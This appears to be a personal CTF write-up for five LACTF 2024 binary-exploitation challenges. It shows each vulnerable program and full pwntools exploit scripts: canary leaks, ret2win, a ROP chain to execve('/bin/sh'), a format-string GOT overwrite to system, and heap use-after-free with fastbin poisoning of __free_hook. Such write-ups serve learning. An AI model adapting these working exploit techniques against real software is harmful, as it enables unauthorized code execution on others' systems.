# LACTF 2024 Recently I've played `LACTF` and my efforts paid off with 5 challenges solved, including a `first blood` in `ppplot`. ![image](https://hackmd.io/_uploads/HJjgAKWna.png) Here are my writeups of some challenges: **Aplet123** ```c #include <stdio.h> #include <stdlib.h> #include <string.h> #include <time.h> #include <unistd.h> void print_flag(void) { char flag[256]; FILE *flag_file = fopen("flag.txt", "r"); fgets(flag, sizeof flag, flag_file); puts(flag); } const char *const responses[] = {"L", "amongus", "true", "pickle", "GINKOID", "L bozo", "wtf", "not with that attitude", "increble", "based", "so true", "monka", "wat", "monkaS", "banned", "holy based", "daz crazy", "smh", "bruh", "lol", "mfw", "skissue", "so relatable", "copium", "untrue!", "rolled", "cringe", "unlucky", "lmao", "eLLe", "loser!", "cope", "I use arch btw"}; int main(void) { setbuf(stdout, NULL); srand(time(NULL)); char input[64]; puts("hello"); while (1) { gets(input); char *s = strstr(input, "i'm"); if (s) { printf("hi %s, i'm aplet123\n", s + 4); } else if (strcmp(input, "please give me the flag") == 0) { puts("i'll consider it"); sleep(5); puts("no"); } else if (strcmp(input, "bye") == 0) { puts("bye"); break; } else { puts(responses[rand() % (sizeof responses / sizeof responses[0])]); } } } ``` Checksec: ```sh [*] '/home/fatalynk/CTF/lactf/aplet123/aplet123' Arch: amd64-64-little RELRO: Partial RELRO Stack: Canary found NX: NX enabled PIE: No PIE (0x3ff000) RUNPATH: b'.' ``` At first glance, there is a `print_flag` function and we can spot `buffer overflow` caused by `gets`, but canary exists, so we need to figure out how to leak canary. ```c printf("hi %s, i'm aplet123\n", s + 4); ``` It checks if our string contains `i'm`, and print it to stdout. If we input a string with `i'm` at the end, it is obvious to leak 7 bytes of canary. It's easy as it is a ret2win challenge. ```py from pwn import * e = context.binary = ELF("./aplet123") #r = e.process() r = remote("chall.lac.tf", 31123) r.sendline(b'A' * 0x45 + b"i'm") r.recvuntil(b'hi ') canary = u64(b'\0' + r.recv(7)) log.info(f'Canary: {hex(canary)}') r.sendline(b'bye'.ljust(72, b'\0') + p64(canary) + p64(0) + p64(e.sym['print_flag'])) r.interactive() ``` **52-card** ```c #include <stdio.h> #include <stdlib.h> #include <string.h> #include <time.h> #define DECK_SIZE 0x52 #define QUEEN 1111111111 void setup() { setbuf(stdin, NULL); setbuf(stdout, NULL); setbuf(stderr, NULL); srand(time(NULL)); } void win() { char flag[256]; FILE *flagfile = fopen("flag.txt", "r"); if (flagfile == NULL) { puts("Cannot read flag.txt."); } else { fgets(flag, 256, flagfile); flag[strcspn(flag, "\n")] = '\0'; puts(flag); } } long lrand() { long higher, lower; higher = (((long)rand()) << 32); lower = (long)rand(); return higher + lower; } void game() { int index; long leak; long cards[52] = {0}; char name[20]; for (int i = 0; i < 52; ++i) { cards[i] = lrand(); } index = rand() % 52; cards[index] = QUEEN; printf("==============================\n"); printf("index of your first peek? "); scanf("%d", &index); leak = cards[index % DECK_SIZE]; cards[index % DECK_SIZE] = cards[0]; cards[0] = leak; printf("Peek 1: %lu\n", cards[0]); printf("==============================\n"); printf("index of your second peek? "); scanf("%d", &index); leak = cards[index % DECK_SIZE]; cards[index % DECK_SIZE] = cards[0]; cards[0] = leak; printf("Peek 2: %lu\n", cards[0]); printf("==============================\n"); printf("Show me the lady! "); scanf("%d", &index); printf("==============================\n"); if (cards[index] == QUEEN) { printf("You win!\n"); } else { printf("Just missed. Try again.\n"); } printf("==============================\n"); printf("Add your name to the leaderboard.\n"); getchar(); printf("Name: "); fgets(name, 52, stdin); printf("==============================\n"); printf("Thanks for playing, %s!\n", name); } int main() { setup(); printf("Welcome to 52-card monty!\n"); printf("The rules of the game are simple. You are trying to guess which card " "is correct. You get two peeks. Show me the lady!\n"); game(); return 0; } ``` Another ret2win with `buffer overflow`. There is also `oob read` in index at both peeks. Leak `PIE` and `canary` then ret2win. ```c from pwn import * e = context.binary = ELF("./monty") # = e.process() r = remote("chall.lac.tf", 31132) r.recv() r.sendline(b'55') r.recvuntil(b'Peek 1: ') canary = int(r.recvline()[:-1]) log.info(f'Canary: {hex(canary)}') r.recv() r.sendline(b'57') r.recvuntil(b'Peek 2: ') e.address = int(r.recvline()[:-1]) - 0x167e log.info(f'PIE: {hex(e.address)}') r.recv() r.sendline(b'2') r.recv() r.sendline(b'A' * 24 + p64(canary) + p64(0) + p64(e.sym['win'] + 1)) r.interactive() ``` **Sus** ```c int __fastcall main(int argc, const char **argv, const char **envp) { char v4[56]; // [rsp+0h] [rbp-40h] BYREF __int64 v5; // [rsp+38h] [rbp-8h] setbuf(_bss_start, 0LL); v5 = 69LL; puts("sus?"); gets(v4); sus(v5); return 0; } ``` A `buffer overflow` is clear to spot. But this one is linked with `libc-2.35`, no `pop rdi` gadget. Check `ROPgadget` and I see an interesting gadget ![image](https://hackmd.io/_uploads/rk_YM5Zha.png) This one is useful as we can set `rdi` to arbitrary value. With that, we can set `rbp` to bss, where contains the `libc` pointer. After that, we just build an ROPchain to call `system('/bin/sh')` ```py from pwn import * e = context.binary =ELF("./sus_patched") #r = e.process() r = remote("chall.lac.tf", 31284) l = ELF("./libc.so.6") magic = 0x000000000401184 rbp = 0x000000000040112d leave = 0x00000000004011a1 ret = leave + 1 sus = 0x00000000040114A context.terminal = ['/usr/bin/vscode'] gs = """ b*main+51 """ #gdb.attach(r, gs) r.recvuntil(b'sus?\n') pause() r.sendline(b'A' * 0x40 + p64(0x404400) + p64(magic)) sleep(0.5) r.sendline(p64(e.got.puts) * 8 + p64(0x404400 - 0x10) + p64(sus) + p64(e.plt.puts) * 2 + p64(rbp) + p64(0x404420 + 0x40) + p64(ret) * 10 + p64(magic)) l.address = u64(r.recv(6) + b'\0' * 2) - l.sym['puts'] log.info(f'Libc: {hex(l.address)}') rdi = l.address + 0x00000000000277e5 ret = rdi + 1 rsi = 0x0000000000028f99 + l.address rdx = 0x00000000000fddfd + l.address system = l.sym['system'] bin_sh = next(l.search(b'/bin/sh')) sleep(0.5) r.sendline(b'\0' * 0x20 + p64(rdi) + p64(bin_sh) + p64(rsi) + p64(0) + p64(rdx) + p64(0) + p64(l.sym['execve'])) r.interactive() ``` **pizza** ```c #include <stdio.h> #include <string.h> const char *available_toppings[] = {"pepperoni", "cheese", "olives", "pineapple", "apple", "banana", "grapefruit", "kubernetes", "pesto", "salmon", "chopsticks", "golf balls"}; const int num_available_toppings = sizeof(available_toppings) / sizeof(available_toppings[0]); int main(void) { setbuf(stdout, NULL); printf("Welcome to kaiphait's pizza shop!\n"); while (1) { printf("Which toppings would you like on your pizza?\n"); for (int i = 0; i < num_available_toppings; ++i) { printf("%d. %s\n", i, available_toppings[i]); } printf("%d. custom\n", num_available_toppings); char toppings[3][100]; for (int i = 0; i < 3; ++i) { printf("> "); int choice; scanf("%d", &choice); if (choice < 0 || choice > num_available_toppings) { printf("Invalid topping"); return 1; } if (choice == num_available_toppings) { printf("Enter custom topping: "); scanf(" %99[^\n]", toppings[i]); } else { strcpy(toppings[i], available_toppings[choice]); } } printf("Here are the toppings that you chose:\n"); for (int i = 0; i < 3; ++i) { printf(toppings[i]); printf("\n"); } printf("Your pizza will be ready soon.\n"); printf("Order another pizza? (y/n): "); char c; scanf(" %c", &c); if (c != 'y') { break; } } } ``` Checksec ```sh [*] '/home/fatalynk/CTF/lactf/pizza_/pizza' Arch: amd64-64-little RELRO: Partial RELRO Stack: No canary found NX: NX enabled PIE: PIE enabled ``` `Format string` is located in option 12, where we can enter arbitrary string Leak `libc` and `PIE`, then I choose to overwrite GOT of `strcpy` to `system`. We can set old `toppings[i]` to `/bin/sh`, so next turn printf will become `system("/bín/sh")`. ```py from pwn import * e = context.binary = ELF("./pizza_patched") #r = e.process() #r = remote("localhost", 5000) r = remote("chall.lac.tf", 31134) l = ELF("./libc.so.6") r.recv() r.sendline(b'12') r.recv() r.sendline(b'%47$p|%49$p') r.recv() r.sendline(b'0') r.recv() r.sendline(b'2') r.recvuntil(b'Here are the toppings that you chose:\n') l.address = int(r.recvuntil(b'|').strip(b'|'), 16) - 0x2724a print(hex(l.address)) e.address = int(r.recvline()[:-1], 16) - 0x1189 print(hex(e.address)) system = l.sym['system'] strcpy = e.got['strcpy'] s1 = system & 0xff s2 = (system >> 8) & 0xffff s3 = (system >> 24) & 0xffff r.recv() r.sendline(b'y') context.terminal = ['/usr/bin/vscode'] gs = """ brva 0x000000000000139A """ #gdb.attach(r, gs) r.recv() r.sendline(b'12') r.recv() pl = f'%{s1}c%14$hhn'.encode() pl += f'%{(s2 - s1) & 0xffff}c%15$hn'.encode() pl += f'%{(s3 - s2) & 0xffff}c%16$hn'.encode() pl = pl.ljust(64, b'A') pl += p64(e.got['strcpy']) pl += p64(e.got['strcpy'] + 1) pl += p64(e.got['strcpy'] + 3) #pl += p64(e.got['strcpy'] + 4) r.sendline(pl) r.recv() r.sendline(b'12') r.recv() r.sendline(b'/bin/sh\0') r.recv() #pause() r.sendline(b'0') r.recv() r.sendline(b'y') r.recv() r.sendline(b'12') r.recv() r.sendline(b'a') r.recv() r.sendline(b'0') r.sendline(b'cat flag.txt') r.interactive() ``` **ppplot** ```C __int64 __fastcall main(int a1, char **a2, char **a3) { setbuf(stdin, 0LL); setbuf(stdout, 0LL); memset(byte_4440, 46, sizeof(byte_4440)); while ( 2 ) { printf("pp: "); switch ( (unsigned int)read_int() ) { case 1u: add(); continue; case 2u: print(); continue; case 3u: calc_(0); continue; case 4u: calc_(1); continue; case 5u: free_(); continue; case 6u: memset(byte_4440, 46, sizeof(byte_4440)); continue; case 7u: return 0LL; default: puts("invalid choice"); break; } break; } return 0LL; } ``` A heap note challenge Looking over the pseudocode, I found a use-after-free in option 5. ```C void free_() { unsigned int idx; // [rsp+Ch] [rbp-4h] printf("idx: "); idx = read_int(); if ( idx < 0x80 ) free(coefficient_arr[idx]); else puts("index out of bounds"); } ``` After reversing, I found there is a struct implemented here. ```c struct coefficient { uint32_t num; int32_t *arr; }; ``` And all the input entered by the user will be parsed in order to be used in a equation, which is like: ``` arr[0] + arr[1]x + arr[2]x^2 + arr[3]x^3 +...+arr[n]x^n ``` Option 3 and 4 is to calculate the equation based on x provided, which is from -32 to 32 #### Arbitrary read We use option 3 and 4 to leak heap and libc ![image](https://hackmd.io/_uploads/HkYQYh-hT.png) ##### Leak heap Since we can see after a chunk is freed, it will store the address of `tcache_perthread_struct` here. My strategy is: - Allocate 2 chunks with num < 7, so that it will `malloc(0x10)` twice - Free 2 chunks - Allocate 2 chunks with num = 4 again, so that it will use both 2 chunks, and one chunk containing an array of heap will be used as an array. - Free the first chunk, so that `tcache_perthread_struct` will be there. - Calculate that first chunk, so it will leak heap for us ```py free(1) free(0) add(4, [1, 1, 1, 1]) free(1) calc(0) ``` ![image](https://hackmd.io/_uploads/B1D162-2T.png) Now chunk 0 will use 4 numbers in chunk 1 to calculate, with which we can leak heap as in `0x5587cc09e2e0` is all zero. #### Leak libc There is no libc pointer stored in heap, so I will find a way to put chunk into unsorted bin. But it is not so easy to achieve arbitrary write into specific chunk because of no edit function. How could we do that? It crossed my mind that `fastbin poison` is possible, so we can fill the tcache list, then free two chunks indirectly. Then, we can overwrite a chunk's size to a number larger than 0x420, so if we free it, it will be put into unsorted bin Use the same way to leak heap, we can leak libc then. ### Arbitrary write Use the same way as we overwrite to write the address of `__free_hook` into tcachebin ```py from pwn import * e = context.binary = ELF("./ppplot") r = e.process() l = ELF("./libc.so.6") #r = remote('chall.lac.tf', 31164) def choice(c: int): r.sendlineafter(b'pp: ', str(c).encode()) def add(degree: int, coefficient: list): choice(1) r.sendlineafter(b'degree: ', str(degree).encode()) for i in range(degree): r.sendlineafter(f'enter coefficient {i}: '.encode(), str(coefficient[i]).encode()) def free(idx: int): choice(5) r.sendlineafter(b'idx: ', str(idx).encode()) def calc(idx: int): choice(3) r.sendlineafter(b'idx: ', str(idx).encode()) context.terminal = ['/usr/bin/vscode'] gs =""" """ for i in range(30): if i == 4: add(4, [0x21, 0x21, 0x21, 0]) add(2, [1, 2]) add(2, [1, 2]) add(2, [1, 2]) free(30) free(31) bin_sh = u64(b'/bin/sh\0') add(2, [bin_sh & 0xffffffff, (bin_sh >> 32) & 0xffffffff]) #add(7, [1, 1, 1, 1, 1, 1, 1]) gdb.attach(r, gs) free(1) free(0) add(4, [1, 1, 1, 1]) free(1) pause() calc(0) r.recvuntil(b'-1, ') first = int(r.recvuntil(b')').strip(b')')) if first < 0: first = 2**32 + first #log.info(f'First: {hex(first)}') r.recvuntil(b'1, ') second = int(r.recvuntil(b')').strip(b')')) if second < 0: second = 2**32 + second print(hex(first)) print(hex(second)) a = (first + second)//2 b = (abs(first - second))//2 heap = (b << 32) + a heap = heap - 0x10 log.info(f'Heap: {hex(heap)}') for i in range(5, 11): free(i) free(14) free(12) free(13) free(12) for i in range(3): add(2, [1, 1]) target = heap + 0x350 add(2, [target & 0xffffffff, (target >> 32) & 0xffff]) #add(6, ) add(7, [1, 1, 1, 1, 1, 1, 1]) free(15) free(16) add(4, [2, 0, (heap + 0x360) & 0xffffffff, ((heap + 0x360) >> 32) & 0xffff]) #free(4) #add(7, [1, 1, 1, 1, 1, 1, 1]) add(4, [0, 0, 0x4a1, 0]) free(3) #free(20) #free(21) calc(15) r.recvuntil(b'-1, ') r.recvuntil(b'0, ') a = int(r.recvuntil(b')').strip(b')')) r.recvuntil(b'1, ') b = int(r.recvuntil(b')').strip(b')')) c = b - a if a < 0: a = 2**32 + a l.address = c << 32 l.address += a l.address -= 0x1ecbe0 log.info(f'Libc: {hex(l.address)}') for i in range(19, 27): free(i) free(27) free(28) free(27) for i in range(3): add(2, [1, 1]) free_hook = l.sym['__free_hook'] system = l.sym['system'] add(2, [free_hook & 0xffffffff, (free_hook >> 32) & 0xffff]) add(7, [1, 1, 1, 1, 1, 1, 1]) add(2, [system & 0xffffffff, (system >> 32) & 0xffff]) free(30) r.sendline(b'cat flag*') r.interactive() ```